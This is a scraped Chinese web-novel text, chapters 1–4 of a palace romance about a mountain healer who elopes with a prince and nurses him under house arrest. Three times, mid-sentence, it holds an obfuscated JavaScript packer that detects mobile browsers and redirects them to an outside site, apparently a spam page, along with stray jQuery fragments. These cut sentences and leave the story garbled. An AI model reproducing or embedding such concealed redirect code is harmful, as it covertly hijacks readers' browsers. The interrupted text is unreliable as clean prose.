《七嫁魔头》 1. 私奔之后 刀剑相撞,发出激越的一声响!君琰一手执剑,一手拉着身旁的姑娘,执剑的那只手被震得发麻,一脚将身后的山石踩碎! 他们在半路上遇到追杀,侍卫们被冲散了,仇家追着他们跑了一整夜,他一个人也杀了整夜,剑下之魂已近百。洛夭夭也早就累得喘不过气来,心中担心害怕极了。 他告诉过她他有仇家,可是没说过有这么多啊……今天他们还能活着走出这座山吗?凭他功夫再好,一个人敌百来个人也难免应付不过来,更不说还要顾着她。 又过了一阵子,终于只剩下最后一名杀手。 “君琰,今天就是你的死期!”对方杀手一把扯下蒙面罩,“唰”地一声,一片血迹溅上了他的脸——自己的血。 “小心!”洛夭夭大惊,也不知是从哪里来的勇气,甩开了他的手挺身上前——只听“咔嚓”一声,一把短刀骤然没入她的胸口! “夭夭!”君琰瞳孔巨震。 她为他挡刀了!做什么要为他挡刀?!刚才那一会儿他没恍过神来,若不是她,他只怕现在就已命丧黄泉…… “臭娘们,坏老子好事!”杀手气急败坏,继续又刺向前来。 君琰左手抱着她,右手挥剑一挡,又是一阵“乒铃哐啷”的声音,眼看那最后一个杀手受了重伤,自己也要支撑不住了,终于在这时,不远处传来了声音——“公子,公子!” 是下属们找来了。 他身上还挂着血,单手抱着她,另一只手以剑撑地站了起来,三两步走到那杀手面前,“找死!” 电光火石间,手起剑落。 “公子,属下来迟!”“您没事吧!?” 熟悉的声音接连传来,青龙、白虎、玄武、朱雀四堂的堂主皆已赶到。 君琰单手抱着洛夭夭,看向了远处血红色的天…… 夭夭再次醒来时是在景王府。 这间屋子布置得整洁大方,榻边的桌案上摆着一瓶岁月清供,里边插着两枝娇艳的垂丝海棠,山水画的屏风隔在屋子中间,矮几上点了一份沉香,正自烧着。 “咳咳。”胸口伤处一阵疼痛,她起不来身,只能躺在榻上。 “姑娘醒啦?” 梳着双丫髻的小丫头端着药走了进来,把药搁到桌上,站到她面前,笑道:“奴婢琉璃,是专门照顾姑娘的。姑娘有什么需要,吩咐奴婢就好啦。” 夭夭咳了两声,终于发出声音来:“这是哪儿?” 琉璃眨了眨大眼睛,“当然是王府呀。” “王府?”她疑惑着皱了皱眉,有些结巴了,语气里也有几分懵然,“他原来是王爷?” “姑娘不知道么?你是王爷第一个从外面带回来的女子呢,可见是喜欢得紧。大夫已为你看诊过了,开了方子,姑娘好好调养身体。” 她愣神。 两个月前,她还和父母一起住在云青山上的小木屋里,上山采药、行医救人,乐得自在。那天她在山中救了一个落难的男子,他伤得很重,她把他带回家中,悉心照料,他病好之后表明心意,说要报她的恩——娶她,给她一辈子的幸福。 他说这话的时候,声音低沉而好听,神色认真而柔情,她还从未见过长得那样好看的人。 父亲洛商丘竭力反对,说他面有凶相,气场特别,必是杀伐至重之人,且他一直不肯透露真实身份,实在可疑。他们行医救人,把人治好了就算功德已经完成,理当速速送走他,不可过多纠缠。 母亲洛宁氏也说,对方都不肯告知她真实身份和家中情况,如何能嫁? 君琰却诚恳地告诉她说,他确实在江湖上有仇家,但喜欢她也是真的,他的身份是秘密暂不能说,等到了适当的时候一定会告诉她。 “嫁娶最要紧的是真心喜欢,我不在意你是什么身份。”她贴着他的胸膛,跟小猫似的蹭了蹭。 他那时笑着抚摸她的小脑袋,“可是你父母不同意,怎么办?” 她想了一会儿。 “那我们就逼着他们同意。” “怎么个逼法?” 姑娘眼神坚定道:“我和你走不就是了。” 当夜,他在洛家留下了一个装满万两黄金的匣子,她给父母留下一纸书信,两人便一同走了。 半路上果然遇到仇家追杀,侍卫们被冲散了,他一路护着她没命奔逃,进了山里,关键时候她为他挡下一剑,又救他一次。 他曾和她说,他是个魔头—— 手里有无数条人命、亦为无数人所仇恨的江湖魔头。 他问她怕不怕,她天真笑着说既跟了他,就什么也不怕。 那时候她以为他是个江湖人士,却没想到他还有一个身份,即大楚景王——先帝第九子、当今皇上最信任也最忌惮的亲兄弟。 半只脚踏在朝堂上、半只脚浸淫江湖中的景王,在朝人称景亲王,在江湖人称九爷,手下有武功高强的四大堂主,只报出其名号便足以叫人闻风丧胆…… 正想着这些,君琰来了。 他的脸色看上去不太好看。 她一看到他就想坐起来,却被他按住了。“你别动,别动。” “大夫已经在我府上住下了,专为你看诊,需要的药品也抓来了。” 他安慰着她,她却从他话里听出了一丝不对劲……果然,他接着道:“夭夭,最少一个月,一个月……” “什么一个月?” “皇兄将我禁足了。”他露出疲倦的笑容,“至少一个月我们都不能出这道府门,府中侍卫也给换了一半。不过你不用太担心,该干什么干什么,你只是我从外面带回来的姑娘,没人会把你怎么样的。” 夭夭一双杏眼瞧着他,面色泛着苍白,那双眼睛却如黑曜石一般,写满了担忧和心疼,柔声道:“那你怎么办呢?” 君琰自嘲地笑了笑。“如果皇兄还信得过我,一个月后,一切都可恢复如常。如果他信不过我,那我……” 她急道:“你怎的?” 他沉默了一瞬,“如果他信不过,我便只好对你失约了。” “什么?!” “夭夭……我卷进了一件天大的事情里,这一个月是皇兄对我的考验,如果我不能成功渡劫,便只能以死谢罪,到时我会提前派人送你回家,你只当从来没有认识过我。” 她似懂非懂地望着他,无言良久,落下泪来。 “好了,别哭,这不是还没见结果吗?”他抬手为她拭泪,“若一个月后,你的伤也好了,我在皇兄那儿也过关了,不是皆大欢喜吗?” 她不开心地点了点头,心中还是担忧害怕。 “对不起。”他说着,神色有些别扭,“皇兄将我禁足也是昨天刚发生的事,我在回来前不知道会这样的,不然,我说什么也不会把你卷进来……” “别说了。”她抬手轻轻捂了他的嘴,“别说这么见外的话。无论发生什么,我都会陪你一起渡过难关。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561329|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“夭夭,你真好。”他拿下她的小手,捧在两只宽厚温热的大手之间轻轻握住。“你也要快些好起来。等我们一起渡过了这道难关,我便娶你为妻,予你一世荣华。” 她低下头,“瞧你说的,我不要什么荣华啦。” 他宠溺一笑,“知道了,你不要,是我求着要给你的,好吧?” 两人说着相视一笑,心里边同时都暖了起来。 屋里头好冷啊。 景王被禁足,王府被监视起来,一应吃穿用度也跟着减少了。 二十余日后,夭夭的伤口恢复得差不多了,已经能下床行走。 这是她第一回走出这个房间,王府很大,人却很少,走出老远才看到两三个人。琉璃告诉她说,皇上裁了府内的人,换了一大圈侍卫在府外守着,现在的景王府,是一只苍蝇也飞不出去,一只蚊子也飞不进来。 “以前府里都有多少人呢?”她问。 “以前可热闹了。王爷自小生活优渥,府里伺候的各等下人至少也得三十来个吧。” “三十来个……” 她一路走着,好不容易碰到个人,想和他们说说话,对方却不怎么想搭理她,琉璃也拉着她快步走开。 雪片飘落在身上,一片一片…… 以前在山里,只从说书先生的口中听过“宫里”、“王府”这样的字眼,从来不知这些地方是什么样子,在她的想象中,那应该是四四方方的一个囚笼,看似富丽堂皇,实则不得自由,人住在里边,就像被关在笼中的金丝雀。 她不喜欢这样的地方。 她喜欢云青山,喜欢和山里的小动物亲近,喜欢上山采药、下山救人,喜欢山里的朝霞和落日,喜欢冬天淋雨淋雪、春日采花采茶…… 可是,君琰在这里啊。 她这时又忽然想到一个问题,君琰有七八日都没来看她了,今儿出来才发现整个王府的人只有零零星星的几个,用度又少了那么多,那君琰…… 想着一下子转头往他屋子跑去,琉璃拉不及,喊道:“姑娘,王爷在这边!” 她扭头闯进了他的屋里,在门口抖落一身雪花。 君琰正卧在榻上,脸上发红,浑身都透着病气,周围却没有一个侍候的人。 她怔住了……他是什么时候病的?事发突然,她还不知道。 “府里那几个人为什么不来照顾?”她又问琉璃,“他病成这样,你怎么也不告诉我?” “王爷吩咐了不能和姑娘说,而且姑娘伤才刚刚痊愈,不能再辛苦。”琉璃答道,“至于府里那几个人,不过摆设罢了。王爷虽然是皇上的亲兄弟,恩宠得失也只在皇上一句话之间而已,那几个与其说是下人,还不如说是眼线,姑娘能明白吗?” 洛夭夭虽不懂朝堂中事,“眼线”一词还是明白意思的,当即又问:“那为我医治的那位大夫呢?” “大夫是经了皇上允准才来府上的,为姑娘看完病以后就走了,并不能多留一天。”琉璃如实道。 她有些急了,“那就让他这么病着?!” 君琰昏迷在榻,似还喃喃念着她的名字:“夭夭,夭夭……” 她快速在他榻边坐下,一只手握住了他那只伸向她的手,另一只手从被窝里揪出他的那只手,为他诊脉,许久后,抽出手来,坐到桌前认真写了一张药方,递给小侍女,“按我的方子去抓药。” 琉璃一脸为难,“姑娘,整个王府都被围住了,我们出不去。” 2. 求药 洛夭夭一怔,“难道生病了也不给抓药吗?皇上就这么对自己的亲兄弟?” 琉璃咬了咬唇没有说话,过了一会儿道:“姑娘慎言。现在府里到处都是耳目,若说错了话,你也会被牵连的。” 夭夭叹了口气,“好,我们谁都不出去,那让看守的人帮我们去抓个药,总可以吧?” 想来他好歹是个王爷,就算被监视,也不至于生病了不让人治吧? 琉璃点点头,依言去开了府门。 两道朱门刚刚从中缓缓打开,眼前即刻横过来两道交插的刀枪,“哐啷”! 门口的侍卫什么话也不说,那气势却足够吓人,没见过什么大场面的夭夭被吓了一跳,但她很快缓过神来,露出一个笑容:“几位大哥行行好,我们王爷发烧了,能否劳烦你们按这个方子去药铺抓几副药回来?” 侍卫们眼珠子动了动。 为首的那一个目光慢慢落到了她的身上来。 她心中闪过一阵慌乱……那是一道大胆而带着侵略性的目光,将她从头到脚打量了个遍,最后盯在了她的脸上。 半晌也没人答话,北风刮着她的小脸儿一阵生疼。 恐惧一时袭上心头,可她很快又想到了还在发烧躺在榻上的君琰,即刻又挤出笑容来,以讨好的语气又问了一遍:“几位大哥,可以吗?帮个忙吧。” 为首那个侍卫忽咧嘴一笑,露出一口大白牙来:“你就是景王从外面带回来的那个女人?” 她被那眼神盯得心里一阵发慌,点了点头道:“嗯……” 对方对她上下打量一番,“嗯,长得还不错嘛。” 旁边一个接话道:“瞧你说的,九爷的眼光怎么会差?” 几个侍卫登时都哄笑起来! 夭夭一时脸色发白……她不知道这有什么好笑的。这些人不知道人命大于天吗?她在问他们抓药的事,他们却评论她的长相又是什么意思?这就是宫里来的人,这就是京城的侍卫吗?和她从前想象中的也相差太大了…… “喂,”侍卫们笑了很久后,为首的那个才看向她:“那我就劝你一句,趁他生病快点溜了吧!万一他死了,没准你还得陪葬!” “你们到底帮不帮忙?”她用目光回敬过去,一下子忽然想到了什么,忽伸手把自己头上的发簪、身上戴的首饰全解了下来,“这些东西你们就拿去当铺换些钱,可以买酒喝……这成色不差。” 貌似是被她这会儿坚定的眼神触动到了,那为首的侍卫想了想,笑着松了口:“行,既然你如此坚定,要我们帮这个忙也可以,不过这点破首饰怎么够?” 对方忽然走近她,一脸不怀好意。 “你们要干什么?!”琉璃一惊正要上前。 旁边两个侍卫立即来将她押住了。 “琉璃!”夭夭这边,侍卫头领已经逼近了她,一把抓住她的手腕子。 “放开我,放开!” “求人就要有求人的样子。你不是要救景王吗?”侍卫头顶居高临下地看着她。“要我放开你,那你倒是说说,你浑身上下除了这副皮囊,还有什么值得交换的东西?还是说你又改变主意,不打算救他了?” “你……你们趁人之危,卑鄙无耻!” 对方闻言大笑。“姑娘,你生气的样子更好看了。” 夭夭本来很生气,忽一下子泄气了…… 眼下这个境况,君琰还发着烧,现在如果她不救他,还有谁能救他呢?就算他们侮辱她,她也不能就此放弃啊。 可是,可是…… “别的,别的事情都行。求你行行好,日后我当牛做马的报答你,只是这一件不行……” “哦?你还谈起条件来了。爷能看上你,那是你几辈子的福气!”侍卫的声音忽变得凶恶起来,直接扬手狠狠打了她一巴掌,随后那只大手就朝她身前扑了上来……夭夭眼睛一闭,憋着不让自己掉下泪珠被看笑话。 “啪!”一个响亮的巴掌忽在耳边响起。 她睁开了眼,却见方才才趾高气扬的侍卫头领一下子跪在了地上,高傲的气焰全然消失得无影无踪了,站在他面前的是一名身量高挑、衣着贵气的女子—— “本宫赏你一嘴巴!狗仗人势的东西,知道这儿是哪吗?!” 旁边所有的侍卫这会儿都齐刷刷地跪下来了,首领侍卫说:“回、回公主的话,我们也是听命于贺公公……” “贺公公?你司礼监秉笔陈宠还是我君家的奴才呢!景王府面前你耍起威风来了,光天化日底下强抢民女,忘了本的贱奴才!” “公主、公主殿下饶命!奴才们不知道您大驾光临,奴才只是……” “啪!”话音没落又是一掌,将他右边的脸也扇红了。 洛夭夭和琉璃都看呆了。 侍卫首领一脸懵然,哆哆嗦嗦捂着两边红肿的脸道:“公主殿下,您不是,不是……” “本宫是和景王不睦,但怎么说他也是我君家的人,还轮不到你们这些奴才欺负他的府里人,陛下让你们来是要看着王府,但没说可以这般蹬鼻子上脸!景王要是真有个三长两短,你以为你全家老小十几条狗命够赔?!” “公主饶命,公主饶命!奴才只是一时糊涂,奴才,奴才这就抓药去!”侍卫首领“哐哐”在地上连磕了几个大响头,慌乱中不得公主之意仍不敢起身,跪在那儿把手伸向洛夭夭,示意她赶快把药方给他。 半刻钟内人的反转可以如此巨大,夭夭一时间看愣了…… 直到公主清冷的声音从上面传来:“你还愣着干什么?把方子给他啊。” “哦!”她怔怔地点了点头,将药方递过去。 侍卫首领拔腿就跑! 夭夭此时反应过来,连忙向公主谢恩。心想,原来这就是公主么? “起来吧。”公主对她说话的声音倒是要温和多了。 “谢公主!公主大恩大德,民女无以为报……” “客气话就不必说了。举手之劳而已,本宫只是见不得他们恃强凌弱。”凤祥公主看向她。 她这时才悄悄抬起几分目光端详这位公主……她生得可真美啊,雪肤花貌,皮肤细腻,一看就是养尊处优之人。 “你确定要待在这里陪景王吗?”公主忽然问她。 “诶?当然!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刚才公主在的时候姑娘没想到买粮这件事,现在公主走了,不会再回来帮忙了,那几个侍卫还指不定想怎么报复姑娘呢,您就不要再出去了。” “可是病人不能不吃好啊。琉璃,你去算算府中存粮还够吃多久。” “奴婢算过了,还能吃二十天,但皇上的禁足令下的是一个月,一个月到了后还不知会不会解禁呢。” “我知道了。”她无奈笑了笑,继续拿起菜刀,“那我便一天只吃一顿,把粮食省一点下来。” “姑娘!姑娘不要这样,你伤才刚好呢,还是奴婢不吃了吧。” “那我们就一起给殿下省粮食吧。”她笑了笑,胸口的伤开始隐隐作痛……一个时辰后,她将药和午膳一并端进了他的房间。 君琰已经烧迷糊了,在睡梦中迷迷蒙蒙去找她的手,口中唤着:“夭夭,夭夭……” “我在。”她轻柔说道。 “别离开我,别……”他紧紧拉住她的手。 3. 初吻 “不走,不走。殿下乖,起来喝药啦。”她像哄小孩儿一般,拿起旁边的药碗,轻吹了一口。 过了一会儿,君琰醒了。 他睁开眼看着她,屋里只有她和他两个人,琉璃也不在。 “……你没走?”他的第一句话却是这个,同方才在梦中呢喃的完全相反。 她摇了摇头,“我不走。殿下,快把药喝了。” 他坐起来接过她的药碗,她笑看着他:“府里没大夫了不要紧,我就是你的大夫。良药苦口,你忍耐些,我给你准备了蜜……” 话还没说完,君琰已经单手端着药碗一饮而尽,也不顾管烫喉咙,刚一喝完便对上她担忧的眼神。 她噎了一下,“你怎么喝那么快?也不怕噎到。” “我饿了。”他看着桌上她做的那碗粥。 夭夭叹了一声,转身给他拿粥。 他不要她喂,自己接过了碗,一边吃粥,一边看着她……就好像她跟那碗粥一样好吃。 夭夭被他瞧得不自在了,耳根跟熟透的蟹壳一般红,微微偏过头去,他依旧没有移开目光,就这样看着她,心头蔓延起了一圈一圈的苦涩……他忽又问她:“为什么不走?” “为什么要走?”她不答反问。 “府里不剩几个人了,我这一回被囚-禁,若是不幸,一个月后阖府的人都得陪葬,也包括你……你为什么不走?” 她这下站了起来,故作生气:“你是一定想要赶我走喽?” “不……”他噎住了。 她继续假装生气,“既要赶我走,当初又为什么要带我走?世上可有言而无信的人像你这样的吗?” 他叹了口气,“那会儿带你走的时候不知道会是这个情况,现在情况不一样了,你继续待在这里很危险。” “所以就留你一个人独自面对危险吗?”她转过身来,语气坚定:“君琰,我说过,我选择了谁,就只会选择谁,一辈子都不会改,无论他会面对什么,我都会陪在他身边。你要相信我,相信我对你的感情,就如我相信你一样。” 君琰抬头看着她。姑娘的灼灼目光坚定而明朗,透着一股子决心还有丝丝缕缕的爱怜,和这间屋子里的晦暗形成了鲜明的对比。多年以后他再回想起这一天,会觉得彼时的自己是多么迟钝而愚蠢……他低估了她的决心和爱意,也高估了自己爱一个人的能力,更是在诡异变幻的时局中出现摇摆,将这明媚如小太阳的姑娘拉进了一个深渊,并摧毁了她于爱情的信仰。 她本该是清水白石间的一茎兰,随风摇摆,自在摇曳,如云在青天、水在瓶。 他当下点了点头,没有再说些别的什么,拉住她的小手让她重新坐了回来。 两个人离得很近,她能感受到他在她耳边微热的喘息,感受到他凉薄的唇在轻轻划过她的脖颈……耳畔听见他轻轻地说:“有时候我真的不想做这个王爷。” * 这些日子夭夭又向琉璃问了许多关于君琰的事儿。 “殿下在兄弟中排行第九,江湖人称‘九爷’,手下有四大堂主,各个武功高强,殿下在朝堂时,被称‘殿下’,在江湖则被称‘公子’,他手底下做的是杀人生意。” “杀人生意?” “我并不清楚具体的,只知道殿下和上一任青玉帮的帮主交情甚好,后来似乎是为了找什么东西被卷入了江湖纷争之中,树了很多仇家……殿下每天都会让四位堂主派手下去杀人,这并非是因他天性嗜杀,而是因为杀人于他而言是一种解决问题的高效办法。另外他也会和一些雇主做交易,雇主让他派手下去杀什么人,他再从雇主那里得到什么想要的东西。” 夭夭想了想问:“他有那么多问题需要解决么?” “再往深了说我就不知道了,殿下没有对我透露过。我只知道他最近好像在找一个人。” “什么人?” “听说那人的血有一种什么特殊的用途。”琉璃说着叹了口气,“不过看眼下这个境况,人是找不下去了,还能不能活下去都是个问题。” 洛夭夭立马说:“只要有我在,我不会让他死的!”顿了顿又说:“还有你,琉璃,我们都要活下去。我相信天无绝人之路。” “眼下才过去十天,姑娘。”琉璃看上去有些灰心,“日子真是难熬……姑娘,你出来这么久,也会想家吧?” “想家……”怎么可能不想呢?她好怀念她在山上的小日子,她的小木屋,还有父母做的饭,怀念那采药救人的日子……君琰说他不想做王爷了,那是不是意味着等事情过去以后他可以陪她归隐山林?那样他们就可以一起日出而作、日落而息,一起看山中四季,淋夏雨冬雪了。 “姑娘,你又在发呆啦,想家想得真入神。”琉璃笑着碰了碰她的胳膊。 “噢……”她稍稍清醒过来,轻咳了两声,刚一站起来,头忽然好晕。 “姑娘!”琉璃急切的声音在耳边淡了下去,一个高大的身躯忽然出现接住了她。 君琰一双大手拉着她的小手,让她扣住了自己的脖颈,然后双臂向后一抬,就将她整个人背了起来。 “殿下……”琉璃看着他们。 “嘘。”他示意她别再说话,然后背着夭夭,往寝殿那边走去了。 “你好轻啊。” 夭夭的心软软的,意识迷迷糊糊的,被君琰放到了榻上坐下,强睁着一双迷离的眼睛,狗皮膏药似的黏在他身上就不想动了…… 冬日的阳光从窗棂斜射进来照着他轮廓分明的脸,她看见他近在咫尺的宠溺的笑靥,还有近来愈发消瘦的脸颊和眼下的乌青,自己也感觉浑身都失了力气,像一滩水似的没了骨头,忽把头埋进他的胸口里。 他本想把她放在榻上,无奈她黏着他不动,他只好弯着腰,保持着这个并不轻松的姿势……半晌,她忽“噗嗤”一声笑了出来。 “夭夭?”他轻唤她,“笑什么呀?” 她的头却在他胸口埋得更深了。 “夭夭,你要不要这么乖。”他慢慢将她的脑袋扶起来,双手轻捧着她的脸,“你刚才头晕,是不是因为最近吃得少?我听琉璃说你每天只吃一顿,这样可怎么行?” “……嗯?”看来被他发现了啊?琉璃答应了她要保密的,怎么还是说了呢…… “我已基本痊愈了,这些天多亏了你照顾,你也不要再吃这么少了,从今天下午开始我便看着你吃饭,你吃多少,我吃多少。” “……那怎么行?”她发出软绵绵的一声疑惑,君琰这时候终于放下了她,给她拿来了被褥盖上。 “可是,府里吃的不够呀……”她翻了个身,把背对着他,喃喃道。 “你是小笨蛋吗?后院里不是还种了许多果树?”他轻轻拍了一下她的臀-部,“你先睡几个时辰,等你醒了,我们一起去摘果子吧。” “对哦,还有果树……我,我忘了……我是小笨蛋……” “小笨蛋。”他点点头,轻轻捏她的脸。 她半困半醒着一蹬腿儿,淘气地说:“那,我是小笨蛋,你是大聪明,这样才登对。” 君琰对这 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君琰被她指使着,左抱过来,右抱过去,举高高,举下来,半个时辰忙得不亦乐乎,等她摘完时,几个小篓子都装满了。 洛夭夭脸上笑出了两个深深的小酒窝,对君琰甜甜地说:“你把我抱来抱去的辛苦了,这个最大的给你吃!” “无妨。你很轻,我还算不得辛苦。果子是你摘的,最大的当然是留给你。” 她笑着洗净了手削水果,削好一个完整的梨子给他。 君琰拿来小刀从上头切了一片下来,“这个看起来不错,你也尝尝。” “我另外削一个吃。”她回眸笑道:“我阿娘说过,梨子不能分着吃,不然会‘分离’的。” “还有这种讲究?”君琰倒是不在意,“所谓这些谐音的说法不过都是骗人的,没必要那么拘泥。夭夭,过来。” 他抬手招呼她。 “诶?” 她不明所以地走过去,被他牵住手一把拉到了腿上坐着。 “君琰,我真的不能和你吃同一个梨子……”她有些别扭又有些害羞地瞅着他,脸蛋红扑扑的,黑曜石般的眼睛灼灼的,似是真有些介意。 “那如果,我这样喂呢?”他的声音低了,带着蛊惑,竟咬着那片梨递了过来。 “啊……”小姑娘瞬间红透了耳根子,也没有回避,只是有些怔然地看着他,然后,似是不受控制地吃进了他喂的梨…… 两人的唇瓣也刚巧碰在了一起。 软软的。 君琰觉得她就像那个好吃多汁的梨一般,晶莹剔透。 夭夭怔然片刻……这是她的初吻啊。 她心中轻叹了一声,像被抹了蜜似的,轻轻闭上了眼睛。 虽然这个地方她不喜欢,可这个地方有她喜欢的人,那么对不喜欢的地方,她也要尝试着喜欢起来……正如她所言,她跟定他了嘛,他在哪儿,她就在哪儿。 君琰,我们一定可以渡过难关的,是生是死我都陪着你……哦不,我们不会死的,一定不会死。我要跟你一起活下去…… 君琰拖住她的后脑勺,加重了这个吻。 她的脸宛若一块莹白的美玉,他的吻落在她的脸上、唇上,脖颈处……过了一会儿,伤口处的疤隐隐地痒了起来,她微一垂头,只见他在专注地亲吻她那道伤疤…… 他的动作很轻柔,摩挲着,爱抚着,玩弄着,就好像那是她身上留下的爱他的证明。 4. 情趣 “痒……”她轻呼出声,不觉笑了,“君琰,你放过我吧!” “放了你?”他摩挲着她的疤痕却更出神了,声音却也更轻柔了,“还疼吗?” “有一点儿……”她微微嘟了嘟嘴。 “那好吧。”他有些意犹未尽地离开了那道伤疤,觉察到她在微微哆嗦,便解下了自己的大衣给她披上。 身上忽然一阵暖暖的,她露出了清浅的甜笑,用那种非常可爱的模样望着他,“君琰,你真好。” 他忽用那种看小娃娃的眼神看着她,抓住她的小手说:“这天底下,敢对我直呼大名的只有两个人。” “两个?”夭夭扑闪着大眼睛,“那另一个人是谁?” 君琰笑了笑,“自然是当今皇上。” 夭夭:“……” 她有些不好意思了,笑了一声,微低了头道:“那我叫你什么呢?也和别人一样,叫你殿下或者王爷?” “无妨。”他伸出手把她揽进怀中,“你想怎么叫,就怎么叫。” 夭夭忽起了玩心,抬起手指头去点他的下巴,大笑道:“好,那我就要叫你大聪明。” 君琰的脸一下子黑了。 洛夭夭大笑。 但很快他也跟着笑了起来,“行,只要小笨蛋高兴,我就当了这个大聪明又怎么样?反正小笨蛋也别想逃出大聪明的手掌心。” 她撅了噘嘴道:“哼,我可以叫你大聪明,但你不准叫我小笨蛋。” 他听了故作为难:“这不公平,我要抗议。” “不准抗议。”她嬉笑着从他怀里逃出来,指他:“我是夭夭,你是大聪明!” 他就这样看着面前天真无暇的姑娘,久处污浊中的心忽然像被浸入了清泉水一般,温润而清冽,视线里的一切风景仿佛都变得那样清明,清明如她的那双眼睛,脑中就忽然想到了张孝祥的那句“孤光自照,肝胆皆冰雪”。 然而很快他的心情又变得黯淡下来……黯淡,而后是复杂。 将这样一个精灵般的女孩从山里带出来,到底是对是错?她原本不应该属于这里不是吗?她现在是为了他才留在这里一起受苦的。他到底为什么……对,他为什么要这么干?! 袖中的拳头忽然握紧了。 他脸上一应微小的神色变化都被她收于眼底,夭夭不笑了,在他身边坐下来。 “你怎么了?在想什么呀?”她轻声问。 不能说……不能对她说。 他暗自握紧了拳,“没什么,你别问了。” “哦。”她点点头,起身时吻了一下他的前额,“那好吧,你不想说我就不问,可如果你什么时候想说了,我随时都在。” 她的脸上晕起了两片红晕,飞快地背过身去,说:“我去给你做饭”,就跑开了。 这段日子,厨房是她待得最多的地方。君琰不会做饭,琉璃的厨艺也一般般,府里的人都走光了,竟没个能下厨的,而她从前在云青山的时候经常和父母一起做饭,是以厨艺不错。 一面洗菜煮饭,一面就和琉璃打听君琰平日里都喜欢吃什么,但琉璃说的菜都太复杂了,厨房里一时食材不够,她便问有没什么家常小菜是他喜欢的。琉璃一面回忆着,一面把她能想到的菜单都写了下来。 夭夭洗手做羹汤、做药膳、蒸饭、做点心,让琉璃先将饭食和药送过去,她再做几个明早可以直接蒸了吃的兔子馒头。 先捏一个圆圆白白的兔身,再捏两只可爱的小耳朵,最后做两只小眼睛,雕一下耳朵和嘴巴处的纹路,这样先做了两只小兔。她边捏边笑,捏了一朵粉色小花放在左边小兔的耳朵上,又捏了一朵蓝色小花放在右边小兔的耳朵上。 嗯,左边的是夭夭,右边的是大聪明。 小傻妞就这么自顾自的,“噗嗤”一声笑了出来,觉得很高兴……月儿高悬,升至树梢处,悠悠照着府中的一草一木、一砖一瓦。 琉璃回来提醒她吃饭的时候,只见她已困在厨房台子上睡着了。君琰跟在后边,见她这副模样,不觉有些无奈。 “殿下,姑娘睡着了。”琉璃用气声儿说。 “嗯。”他走过去,将她打横抱起来,眼中氤氲得满是柔情,忽然看到了案板上的兔子馒头,不由眯起眼睛。 过了一会儿,他抱着她进了卧房,温柔地将她摇醒了,喂她吃粥。 “嗷呜,你干嘛把我弄醒呀……我不饿,我要睡觉。”她睁开惺忪的眼睛,肚子却不合时宜地“咕咕”叫了起来。 “我说过,”君琰笑得宠溺,“你吃多少,我就吃多少。所以这碗粥,我们一人一半。你看,我的那半已经吃完了。” 夭夭垂眸一看,果见他碗里还剩半碗,还是温热的。 “你要是不听话,明天我就也不吃饭了。你几顿不吃,我就几顿不吃。”他的粥喂到了她嘴前。 夭夭只好听话地张开了嘴…… 一口又一口。 “你……你让我起来吃了粥,我一会儿要睡不着了。”她嘟囔道。 “睡不着,我们可以一起去看月亮呀。再睡不着,我就哄你睡……再要睡不着,你就咬我。” 她微微睁大了眼睛,“我为什么又要咬你呀?” 他这回却没有回答,悄悄地抵近了她,用带着磁性和蛊惑的声音轻轻说:“你觉得呢?” 她恍然一下好像懂了他的暗示,脸登时“唰”地红了,“君琰,你坏!” “那是自然,只对你一个人坏,我对其他人可是很好的。” “是吗?”她疑惑地看向他。 他以轻柔的声音道:“因为对其他不喜欢的人,本王一般是赐他们全尸后就不管了。” 夭夭身上一冷,不知他为什么忽然说这样的话。 紧接着又看见他笑了,耳畔传来他的轻声:“但是对夭夭,我可是想要全部的呢。” “君琰,你啊你……”她在这时候想起了他在江湖上的称呼,出口道:“你果然是个大魔头啊!” “不错。夭夭可是后悔了?”他抬起她的下巴,逼她对视,“后悔……跟了一个魔头?” “不要吃我。”她可怜巴巴地说,身子也往后退了一点。 “现在不吃你。”他眼中笑容欲甚,“留着往后慢慢品尝。” 大魔头心情颇好地暂时放过了她。“吃完了?” 他把碗放在桌上,又伸手轻柔地为她擦去嘴角的油渍…… 夭夭睁大眼睛问:“你不是有洁癖吗?” 他的手微微滞了滞,紧接着温柔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561332|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,“那是对别人啊。” 月上中天,女孩儿慢慢在他怀里睡着了,他看着她美丽的睡颜,又看了看天边的月亮。 月亮在眼前慢慢地放大了,硕大的一个银盘里渐渐现出了紫禁城的模样,现出了金銮殿、紫宸殿和御花园,耳边传来了三个月前离京之际皇兄的声音—— “张侍郎家的独女张美珠爱慕你已久,这是全京城都知道的事,你别告诉朕就你不知道!” 然后是他自己的声音:“爱慕臣弟的难道只有一个张家小姐吗?那几十个皇兄是不是都要叫臣弟娶进府里来?” “别人朕不管,但张家这门亲事你真要好好考虑一下!你和她也算是从小就认识,比旁人要熟些,张爱卿在朝也是个好官。你到了该成家的年纪了,府里总没个人像什么话?这一次你出去办事,先把人给朕找到了,朕立即给你和张家小姐赐婚!” 这就是命令了。 